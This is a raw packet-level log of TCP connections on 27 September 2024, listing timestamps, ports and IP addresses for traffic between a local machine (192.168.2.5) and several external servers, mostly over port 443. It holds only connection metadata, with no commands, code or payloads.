Sep 27, 2024 05:50:41.241514921 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.241528988 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.241581917 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.259608984 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.261864901 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.350450993 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.396255016 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.417260885 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.417288065 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.417363882 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.417376995 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.417433023 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.454828978 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.454859972 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.454875946 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.454904079 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.454912901 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.454922915 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455012083 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.455019951 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455044985 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455046892 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455051899 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455064058 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.455066919 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455075026 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455096960 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455096960 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.455130100 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.455163956 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455184937 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.455184937 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.455194950 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.455214024 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.468559027 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.468578100 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.468821049 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.468837023 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.468873978 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.468900919 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.468946934 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.468961954 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.468985081 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.516693115 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.516817093 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.516833067 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.516860962 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.516872883 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.516920090 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.516973972 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.517093897 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.517112970 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.517152071 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.517170906 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.517175913 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.517191887 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.517221928 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.517246008 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.556366920 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.556386948 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.556503057 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.556523085 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.556581974 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.558325052 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.558401108 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.558406115 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.558413982 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.558446884 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.558475971 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.558501959 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.558523893 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.558541059 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.558648109 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.558697939 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.656837940 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.656886101 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.657291889 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.658344984 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.659590960 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.659779072 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.659780979 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.659806013 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.669284105 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.706590891 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.715404034 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.756896973 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.850116968 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:41.897929907 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:41.904300928 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:41.929042101 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.929104090 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.929125071 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.929163933 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.929203033 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.929267883 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.929296017 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.929327011 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.929327011 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.929358959 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.939533949 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:41.949054003 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.949100971 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.949136972 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.949173927 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.949217081 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.990597010 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.990624905 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.990698099 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:41.990709066 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:41.990770102 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.039721012 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.039743900 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.039865017 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.039875031 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.042207003 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.042229891 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.042283058 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.042289972 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.042360067 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.043376923 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.043432951 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.043438911 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.043479919 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.043523073 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.335139990 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.335164070 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.335516930 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:42.335551023 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:42.335690022 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.336291075 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.336925983 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:42.336971045 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:42.337209940 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:42.337229013 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:42.337295055 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:42.337965965 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:42.338030100 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:42.339448929 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.341016054 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.341120005 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.345437050 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:42.345546961 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:42.348073006 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:42.348175049 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:42.348500967 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.349088907 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:42.349102974 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:42.349529028 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:42.349544048 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:42.391428947 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.399715900 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:42.399746895 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:42.580755949 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.580847979 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.580872059 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.580903053 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.580907106 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.580935955 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.580961943 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.580986977 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.581023932 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.581041098 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.581047058 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.581075907 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.614077091 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.614103079 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.614146948 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.614166975 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.614218950 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.666438103 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.666457891 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.666531086 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.666546106 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.684336901 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.684415102 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.688009024 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.688038111 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.696338892 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.696347952 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.710233927 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.714282990 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.714315891 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.719654083 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.719664097 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.719701052 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.719724894 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.719729900 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.719801903 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.719806910 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.719845057 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.721321106 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.721342087 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.721396923 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.721404076 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.721476078 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.722681999 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.722698927 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.722820997 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.722826958 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.722877026 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.825773954 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.825836897 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.825875998 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.825886965 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.825926065 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.843632936 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.843703032 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.843713999 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.843730927 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.843775034 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.843796015 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.845648050 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.845700026 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.845730066 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.845736980 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.845801115 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.847523928 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.847570896 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.847599983 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.847604990 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.847651005 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.851182938 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.851229906 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.851260900 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.851265907 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.851325035 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.867338896 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:42.867459059 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:42.867522955 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:42.924360991 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.924390078 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.924439907 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.924453020 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.924520016 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.932550907 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:42.934138060 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:42.934197903 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:42.936955929 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.936991930 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.937048912 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.937056065 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.937159061 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.939070940 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.939100027 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.939135075 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.939141035 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.939210892 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.939786911 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.939826965 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.939857006 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.939862013 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.939918041 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.939934969 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:42.940057039 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:42.984708071 CEST	49766	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:42.984740019 CEST	443	49766	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:42.999316931 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:43.247143030 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:43.247189045 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:43.247870922 CEST	49765	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:43.247903109 CEST	443	49765	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:43.619707108 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:43.619786978 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:43.620049953 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:43.706007957 CEST	49718	443	192.168.2.5	142.250.181.228
Sep 27, 2024 05:50:43.706036091 CEST	443	49718	142.250.181.228	192.168.2.5
Sep 27, 2024 05:50:43.768898010 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:43.773827076 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:43.845007896 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:43.845033884 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:43.845267057 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:43.846364975 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:43.846379995 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:43.857808113 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:43.857842922 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:43.857997894 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:43.858242035 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:43.858253002 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:43.867520094 CEST	80	49710	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:43.911477089 CEST	49710	80	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:43.950723886 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:43.950756073 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:43.951245070 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:43.951245070 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:43.951273918 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:44.243740082 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:44.243807077 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:44.243994951 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:44.264220953 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:44.264244080 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:44.517664909 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:44.567377090 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:44.618655920 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:44.636661053 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:44.664951086 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:44.805900097 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.400765896 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:45.427670002 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.427726984 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.427926064 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.427999973 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.428436041 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.428472042 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.428946972 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.429260969 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.431544065 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.431622028 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.476260900 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.495923042 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.496026993 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.496100903 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.496366978 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:45.496381044 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:45.497956038 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:45.497971058 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:45.498006105 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:45.498560905 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.498697042 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.500399113 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.500439882 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.500489950 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.501297951 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.501630068 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.502059937 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.502202988 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.509305954 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.509339094 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.510030985 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:45.510207891 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:45.510840893 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.510855913 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.511271000 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.511894941 CEST	49773	443	192.168.2.5	90.84.161.25
